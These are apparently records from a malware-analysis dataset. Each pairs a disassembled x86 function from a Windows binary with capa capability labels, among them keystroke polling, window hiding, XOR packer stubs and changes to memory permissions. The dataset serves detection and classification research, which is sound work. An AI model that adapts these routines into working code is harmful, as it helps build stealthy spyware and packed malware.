joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4934d4
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x4934fa
push 0
mov eax, dword [ebx + 0x94]
call fcn.0044e140
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x4935b4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x493725
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x49370a
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00409704
mov dl, 1
mov eax, dword [0x4698bc]
call fcn.00469914
mov edx, dword [ebp - 4]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x41715c]
call fcn.004037dc
mov edx, dword [ebp - 4]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.00469990
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x493707
mov dl, 1
mov eax, dword [0x46adec]
call fcn.0046ae54
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
mov edx, 0x49373c
call fcn.0046a0f8
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.00404948
xor eax, eax
push ebp
push 0x493700
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.0046b154
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.00493744
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x493707
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x9c]
call fcn.0040380c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
call fcn.0040380c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
call fcn.0040380c
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49372c
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00404660
ret

Function at 0x49b024
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
mov bl, byte [0x49b05c]
push 0x10
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x49b03a
or bl, 1
push 0x11
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x49b049
or bl, 4
push 0x12
call sub.user32.dll_GetAsyncKeyState
test ax, ax
jge 0x49b058
or bl, 2
mov eax, ebx
pop ebx
ret

Function at 0x49c3f8
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4c97d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x49c41e
push 0
mov eax, dword [0x4c97d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
ret
Function at 0x4bb204
Capabilities:
Hide graphical window

Disassembly:
push ebx
push 0
mov eax, dword [0x4c97d8]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x4c97d8]
mov eax, dword [eax]
mov ebx, dword [eax + 0x30]
push ebx
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x4c97d8]
push ebx
call sub.user32.dll_SetWindowLongA
pop ebx
ret

Function at 0x4bddf4
Capabilities:
Suspend thread

Disassembly:
mov byte [eax + 0xd], 1
mov eax, dword [eax + 4]
push eax
call sub.kernel32.dll_SuspendThread
ret

Function at 0x4bde04
Capabilities:
Resume thread

Disassembly:
push ebx
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
cmp eax, 1
jne 0x4bde19
mov byte [ebx + 0xd], 0
pop ebx
ret

Function at 0x4bdf1c
Capabilities:
Terminate thread

Disassembly:
push ebx
push esi
mov ebx, eax
push 0
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_TerminateThread
mov eax, ebx
call fcn.004bde88
mov esi, eax
mov eax, ebx
call fcn.0040380c
mov eax, esi
pop esi
pop ebx
ret
Function at 0x4bfeec
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffbc
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404aec
lea esi, [ebp - 0x44]
xor eax, eax
push ebp
push 0x4c0073
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, 0x4c0090
call fcn.00404c40
test eax, eax
jne 0x4bff37
lea eax, [ebp - 4]
mov ecx, dword [ebp - 4]
mov edx, 0x4c009c
call fcn.00404948
mov eax, esi
mov edx, 0x3c
call fcn.004bfa0c
mov dword [esi + 8], 0x21
mov dword [esi + 0x14], 0x101
mov dword [esi + 0x20], 0x81
mov dword [esi + 0x28], 0x81
mov dword [esi + 0x30], 0x801
mov dword [esi + 0x38], 0x801
mov eax, 0x21
call fcn.00402b30
mov dword [esi + 4], eax
mov eax, 0x101
call fcn.00402b30
mov dword [esi + 0x10], eax
mov eax, 0x81
call fcn.00402b30
mov dword [esi + 0x1c], eax
mov eax, 0x81
call fcn.00402b30
mov dword [esi + 0x24], eax
mov eax, 0x801
call fcn.00402b30
mov dword [esi + 0x2c], eax
mov eax, 0x801
call fcn.00402b30
mov dword [esi + 0x34], eax
push esi
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.004048fc
push eax
mov eax, dword [ebp - 4]
call fcn.00404afc
push eax
call sub.wininet.dll_InternetCrackUrlA
cmp eax, 1
sbb ebx, ebx
inc ebx
test bl, bl
je 0x4c002d
mov eax, edi
mov edx, dword [esi + 4]
call fcn.00404834
mov eax, dword [ebp - 8]
mov edx, dword [esi + 0x10]
call fcn.00404834
mov eax, dword [ebp + 0x18]
mov edx, dword [esi + 0x2c]
call fcn.00404834
mov eax, dword [ebp + 0x14]
mov edx, dword [esi + 0x1c]
call fcn.00404834
mov eax, dword [ebp + 0x10]
mov edx, dword [esi + 0x24]
call fcn.00404834
mov eax, dword [ebp + 0xc]
mov edx, dword [esi + 0x34]
call fcn.00404834
mov eax, dword [ebp + 8]
mov dx, word [esi + 0x18]
mov word [eax], dx
mov eax, dword [esi + 0x34]
call fcn.00402b60
mov eax, dword [esi + 0x2c]
call fcn.00402b60
mov eax, dword [esi + 0x24]
call fcn.00402b60
mov eax, dword [esi + 0x1c]
call fcn.00402b60
mov eax, dword [esi + 0x10]
call fcn.00402b60
mov eax, dword [esi + 4]
call fcn.00402b60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c007a
lea eax, [ebp - 4]
call fcn.0040463c
ret

Function at 0x4c00a4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
mov ebx, eax
push esi
push edi
mov esi, ecx
mov eax, esi
test eax, eax
je 0x4c00bd
mov eax, dword [esi - 4]
push eax
push esi
mov esi, edx
mov ecx, esi
test ecx, ecx
je 0x4c00ca
mov ecx, dword [esi - 4]
add al, cl
inc eax
lea edi, [ebp - 0x100]
mov edx, eax
stosb byte es:[edi], al
mov al, cl
stosb byte es:[edi], al
rep movsb byte es:[edi], byte [esi]
pop esi
pop ecx
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
std
dec edi
mov esi, edi
xor dl, 0xeb
lodsb al, byte [esi]
xor al, dl
stosb byte es:[edi], al
loop 0x4c00e8
cld
pop edi
pop esi
xor ecx, ecx
mov cl, byte [ebp - 0x100]
inc ecx
lea edx, [ebp - 0x100]
mov eax, ebx
mov ebx, dword [eax]
call dword [ebx + 0x10]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4c1450
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x4c156d
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp + 8]
push eax
xor eax, eax
call fcn.004c1318
pop ecx
test al, al
je 0x4c1548
mov eax, dword [ebp + 8]
push eax
call fcn.004c115c
pop ecx
test al, al
jne 0x4c1548
push 0
push 0
push 0
push 0
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x13c]
push eax
call sub.wininet.dll_HttpSendRequestA
test eax, eax
je 0x4c1548
mov eax, dword [ebp + 8]
push eax
mov eax, 0x13
call fcn.004c119c
pop ecx
test al, al
je 0x4c1548
lea eax, [ebp - 4]
mov edx, dword [ebp + 8]
add edx, 0xffffeffc
mov ecx, 0x1000
call fcn.004048ac
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.00408e34
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov dword [edx + 0x178], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov esi, dword [eax + 0x178]
cmp esi, 0xc8
je 0x4c1513
mov eax, dword [ebp + 8]
cmp esi, 0xce
jne 0x4c1548
mov eax, dword [ebp + 8]
push eax
mov eax, 5
call fcn.004c119c
pop ecx
test al, al
je 0x4c1548
lea eax, [ebp - 8]
mov edx, dword [ebp + 8]
add edx, 0xffffeffc
mov ecx, 0x1000
call fcn.004048ac
mov eax, dword [ebp - 8]
xor edx, edx
call fcn.00408e34
mov ebx, eax
mov eax, dword [ebp + 8]
push eax
call fcn.004c115c
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c1574
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404660
ret
Function at 0x100662d
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1006d08
call fcn.01006814
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x10083ac
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1006442
cmp eax, esi
jne 0x1006435
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x1006445
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100641c
xor esi, esi
inc esi
mov eax, dword [0x10083a8]
cmp eax, esi
jne 0x1006458
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1006493
mov eax, dword [0x10083a8]
test eax, eax
jne 0x100648d
mov dword [0x10083a8], esi
push 0x1001284
push 0x1001278
call fcn.01006399
pop ecx
pop ecx
test eax, eax
je 0x1006493
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x100655d
mov dword [0x100806c], esi
mov eax, dword [0x10083a8]
cmp eax, esi
jne 0x10064b7
push 0x1001274
push 0x100126c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x10083a8], 2
cmp dword [ebp - 0x1c], ebx
jne 0x10064c4
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x10083b0], ebx
je 0x10064e5
push 0x10083b0
call fcn.01006789
pop ecx
test eax, eax
je 0x10064e5
push ebx
push 2
push ebx
call dword [0x10083b0]
push dword [0x1008054]
push dword [0x1008058]
push dword [0x1008050]
call fcn.0100264c
add esp, 0xc
mov dword [0x1008068], eax
cmp dword [0x100805c], ebx
jne 0x1006543
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x100806c], ebx
jne 0x1006551
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1008068]
call fcn.01006859
ret
call fcn.01006961
jmp 0x10063fa

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x40520a
Capabilities:
Create pipe
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x246ae54]
mov ecx, dword [0x246a8e4]
sub esp, 0xc04
push ebx
push esi
shr eax, 3
xor esi, esi
push edi
cmp eax, esi
jbe 0x4052df
mov edi, ecx
mov ebx, eax
cmp dword [0x246ae54], 0x959
jne 0x4052cf
push esi
lea eax, [ebp - 0x800]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404d38
push esi
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push esi
lea eax, [ebp - 0x400]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push esi
lea eax, [ebp - 0xc00]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
call fcn.00404fe7
add edi, 8
dec ebx
jne 0x405232
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a4ee
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x440c30]
jne 0x40a4f8
repz ret
jmp fcn.0040da8c

Function at 0x40b7fc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x440c30]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004073b5
and dword [ebp - 0x14], 0
cmp dword [0x4583e4], 0
mov dword [ebp - 0x18], eax
jne 0x40b8af
push 0x402cac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40b957
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402ca0
push ebx
call edi
test eax, eax
je 0x40b957
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x402c90
push ebx
mov dword [0x4583e4], eax
call edi
push eax
call esi
push 0x402c7c
push ebx
mov dword [0x4583e8], eax
call edi
push eax
call esi
push 0x402c60
push ebx
mov dword [0x4583ec], eax
call edi
push eax
call esi
mov dword [0x4583f4], eax
test eax, eax
je 0x40b8af
push 0x402c48
push ebx
call edi
push eax
call esi
mov dword [0x4583f0], eax
mov eax, dword [0x4583f0]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40b908
cmp dword [0x4583f4], ecx
je 0x40b908
push eax
call esi
push dword [0x4583f4]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40b908
test ebx, ebx
je 0x40b908
call edi
test eax, eax
je 0x40b8ff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40b8ff
test byte [ebp - 8], 1
jne 0x40b908
or dword [ebp + 0x10], 0x200000
jmp 0x40b93b
mov eax, dword [0x4583e8]
cmp eax, dword [ebp - 0x18]
je 0x40b93b
push eax
call esi
test eax, eax
je 0x40b93b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40b93b
mov eax, dword [0x4583ec]
cmp eax, dword [ebp - 0x18]
je 0x40b93b
push eax
call esi
test eax, eax
je 0x40b93b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4583e4]
call esi
test eax, eax
je 0x40b957
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40b959
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a4ee
leave
ret
Function at 0x40ec28
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ecf3
jmp 0x40ece7
cmp dword [esi + 0x10], 0x1000
jne 0x40ecd3
test byte [esi + 0x15], 1
jne 0x40ecd3
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x40ec84
cmp ebp, 2
je 0x40ec84
cmp ebp, 0x10
je 0x40ec84
cmp ebp, 0x20
jne 0x40eca0
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x40eca0
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x40ecb1
mov eax, dword [esi]
add eax, ebx
call fcn.0040ec20
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x40eca4
cmp byte [esp + 4], 0
je 0x40ecd3
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x40ecf3
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x40ec59
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x430072
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7c723842
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
nop
mov eax, section..text
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x3f426d56
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x40deeb
Capabilities:
Access peb ldr_data

Disassembly:
lea ecx, [esi + 0x108]
mov byte [ebp - 4], 2
call fcn.0047d963
mov byte [ebp - 4], 3
push 0x30
mov dword [esi + 0x128], ebx
call fcn.004beace
add esp, 4
cmp eax, ebx
je 0x40dffb
mov dword [esi + 0x124], eax
mov dword [eax], eax
mov eax, dword [esi + 0x124]
mov dword [eax + 4], eax
mov eax, dword [esi + 0x124]
mov dword [eax + 8], eax
mov edx, dword [esi + 0x124]
mov byte [edx + 0x2c], 1
mov eax, dword [esi + 0x124]
mov byte [eax + 0x2d], 1
lea ecx, [esi + 0x130]
mov byte [ebp - 4], 4
call fcn.0047d963
mov byte [ebp - 4], 5
lea edi, [esi + 0x148]
add byte [eax], al
push 8
mov dword [edi], ebx
call fcn.004beace
add esp, 4
cmp eax, ebx
je 0x40dfd7
mov dword [edi], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [edi]
mov dword [ecx], edi
mov dword [edi + 4], ebx
mov dword [edi + 8], ebx
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
xor eax, eax
mov dword [esi + 0xdc], 0xffffffff
mov word [esi + 5], bx
mov dword [esi + 0xd8], ebx
mov byte [esi + 4], bl
mov byte [esi + 7], bl
mov word [esi + 0x161], bx
mov byte [esi + 0x160], bl
mov dword [esi + 0x16d], ebx
mov dword [esi + 0x171], ebx
mov word [esi + 0x167], 1
mov dword [esi + 0x163], ebx
mov word [esi + 0x16b], dx
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
mov dword [esi + 0x3c], eax
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], eax
mov dword [esi + 0x48], eax
mov dword [esi + 0x4c], eax
mov dword [esi + 0x50], eax
mov dword [esi + 0x54], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov dword [esi + 0x28], eax
push 0x40
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x58]
push ebx
push eax
call fcn.004c18a0
push 0x40
lea ecx, [esi + 0x98]
push ebx
push ecx
call fcn.004c18a0
add esp, 0x18
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
lea edx, [ebp - 0x10]
push edx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
call fcn.004bebd6
push 0x5080d4
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x4eb50c
call fcn.004bf44b
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
call fcn.004bebd6
push 0x5080d4
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x1c], 0x4eb50c
call fcn.004bf44b
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x10], ebx
call fcn.004bebd6
push 0x5080d4
lea ecx, [ebp - 0x1c]
push ecx
mov dword [ebp - 0x1c], 0x4eb50c
call fcn.004bf44b
int3

Function at 0x425b7c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
cmp dword [ebp + 8], eax
jle 0x425ba5
push esi
movzx edx, byte [ecx]
movzx edx, byte [edx + 0x4ecd90]
mov esi, eax
shl esi, 3
xor edx, esi
xor eax, edx
inc ecx
dec dword [ebp + 8]
cmp dword [ebp + 8], 0
jg 0x425b87
pop esi
pop ebp
ret
Function at 0x4330e0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
jne 0x4330f2
xor eax, eax
jmp 0x4331e1
push esi
mov esi, dword [ebp + 8]
push 0x44
call fcn.0042cf3c
mov esi, eax
pop ecx
test esi, esi
je 0x4331e0
push ebx
push dword [ebp + 0x10]
mov ebx, dword [edi]
push dword [ebp + 8]
call fcn.0042f03b
push dword [ebp + 0x10]
mov dword [esi], eax
push dword [edi + 8]
push dword [ebp + 8]
call fcn.00432fb8
push 0
push dword [ebp + 0x10]
mov dword [esi + 8], eax
mov eax, dword [edi + 0xc]
push eax
push dword [ebp + 8]
call fcn.004377fd
push dword [ebp + 0x10]
mov dword [esi + 0xc], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x10]
call fcn.0042f03b
push 0
push dword [ebp + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [edi + 0x14]
push eax
push dword [ebp + 8]
call fcn.004377fd
push dword [ebp + 0x10]
mov dword [esi + 0x14], eax
push dword [ebp + 8]
mov ebx, dword [edi + 0x18]
call fcn.0042f03b
add esp, 0x44
push dword [ebp + 0x10]
mov dword [esi + 0x18], eax
mov al, byte [edi + 4]
mov byte [esi + 4], al
push dword [edi + 0x1c]
push dword [ebp + 8]
call fcn.004330e0
xor ebx, ebx
push ebx
push dword [ebp + 0x10]
mov dword [esi + 0x1c], eax
mov eax, dword [edi + 0x28]
push eax
push dword [ebp + 8]
call fcn.004377fd
push ebx
push dword [ebp + 0x10]
mov dword [esi + 0x28], eax
mov eax, dword [edi + 0x2c]
push eax
push dword [ebp + 8]
call fcn.004377fd
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov ax, word [edi + 6]
or dword [esi + 0x38], 0xffffffff
or dword [esi + 0x3c], 0xffffffff
mov ecx, 0xfff7
and ax, cx
add esp, 0x2c
or dword [esi + 0x40], 0xffffffff
mov word [esi + 6], ax
mov dword [esi + 0x24], ebx
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret